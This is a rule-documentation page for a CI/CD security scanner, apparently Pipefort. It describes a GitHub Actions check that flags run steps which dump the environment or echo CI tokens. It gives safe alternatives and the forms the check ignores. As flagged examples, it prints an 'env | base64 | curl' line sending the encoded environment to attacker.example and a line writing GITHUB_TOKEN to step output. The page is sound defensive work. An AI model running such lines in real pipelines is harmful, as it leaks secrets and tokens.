> ## Documentation Index
> Fetch the complete documentation index at: https://docs.pipefort.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CICD-SEC-6 — Run step dumps the environment or echoes a CI token

> The two primitives a poisoned or malicious step uses to get secrets off a runner.

| Field      | Value                                                                                                                                                                                                                                                                                               |
| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Rule ID    | `cicd-sec-6-env-exfil`                                                                                                                                                                                                                                                                              |
| Category   | `CICD-SEC-6`                                                                                                                                                                                                                                                                                        |
| Severity   | **HIGH**                                                                                                                                                                                                                                                                                            |
| Confidence | HIGH                                                                                                                                                                                                                                                                                                |
| Platforms  | GitHub Actions                                                                                                                                                                                                                                                                                      |
| OWASP      | [CICD-SEC-6: Insufficient Credential Hygiene](https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-06-Insufficient-Credential-Hygiene) · [CICD-SEC-4: Poisoned Pipeline Execution](https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution) |
| Auto-fix   | ✗ (flag only)                                                                                                                                                                                                                                                                                       |

## What the check does

Flags two primitives inside `run:` steps.

**Full-environment enumeration** — `printenv`, a bare `env`, `set |`,
`export -p`, `declare -x`, or reading `/proc/self/environ`.

**CI-token echo** — `GITHUB_TOKEN`, `ACTIONS_TOKEN`, `GITHUB_JOB_TOKEN`,
`ACTIONS_RUNTIME_TOKEN`, or `ACTIONS_ID_TOKEN_REQUEST_TOKEN` in shell form
(`$GITHUB_TOKEN`, `${GITHUB_TOKEN}`) or as `${{ github.token }}`, written to the
log or into `$GITHUB_OUTPUT` / `$GITHUB_ENV` / `$GITHUB_STEP_SUMMARY`.

## Why it matters

Neither is an exploit on its own. Both are the step an attacker adds *after* they
have execution — and both are unusual enough in a real pipeline that finding one
is worth a human look.

By the time a script runs, **every secret the job was given is an environment
variable**, and workflow logs are readable by anyone with read access to the
repository. GitHub masks a secret only where it recognises the exact value, so a
reformatted or encoded dump walks straight past masking:

```yaml theme={null}
- run: env | base64 -w0 | curl -X POST -d @- https://attacker.example   # ← flagged
```

A CI token is minted per run and carries the job's write scopes. A token in the
log is a token anyone watching the run can replay before it expires:

```yaml theme={null}
- run: echo "tok=$GITHUB_TOKEN" >> $GITHUB_OUTPUT                       # ← flagged
```

## Safe alternative

* Debug **one** variable by name, after confirming it holds nothing sensitive —
  never print the whole environment from a job that receives secrets.
* Pass a token to the consuming command through `env:` and let that command read
  it. If you need to prove a token is present, print its **length**, not its
  value.

```yaml theme={null}
- run: gh pr list                 # ← fine: uses the token, never prints it
  env:
    GH_TOKEN: ${{ github.token }}
```

## What does not fire

The matcher is line-oriented, anchored at a command position, and requires an
output sink. That is what keeps the common innocent forms quiet without a shell
parser:

| Stays quiet                                                         | Why                                                                                               |
| ------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| `env FOO=bar make build`                                            | command prefix — `env` runs something with a modified environment                                 |
| `printenv HOME`                                                     | one named variable, not enumeration                                                               |
| `set -euo pipefail`                                                 | the [shell hardening](/rules/best-prac-5-shell-hardening) this scanner recommends; no output sink |
| `curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" …` | token **use**, not token **echo** — this is the correct OIDC flow                                 |
| `# env`                                                             | whole-line comments are skipped                                                                   |

## Encoded variants

Encoding happens *downstream* of the primitive, so `env | base64` and
`echo $GITHUB_TOKEN | base64` are caught by the same matcher — it anchors on the
primitive at the head of the pipe. General obfuscation detection (index notation,
decode-and-execute) stays with
[CICD-SEC-4 obfuscated expression](/rules/cicd-sec-4-obfuscated-expression).

## Auto-fix

**None.** Deleting the line might remove a debugging aid the author wanted, and
rewriting it would leave the same capability under a different spelling. The
finding is the fix instruction.

## Related rules

* [CICD-SEC-6 — Secret printed to logs or written to step output](/rules/cicd-sec-6-secret-in-run-output) — covers the `${{ secrets.NAME }}` spelling
* [CICD-SEC-7 — Actions debug logging enabled](/rules/cicd-sec-7)
* [CICD-SEC-4 — Obfuscated expression or run script](/rules/cicd-sec-4-obfuscated-expression)
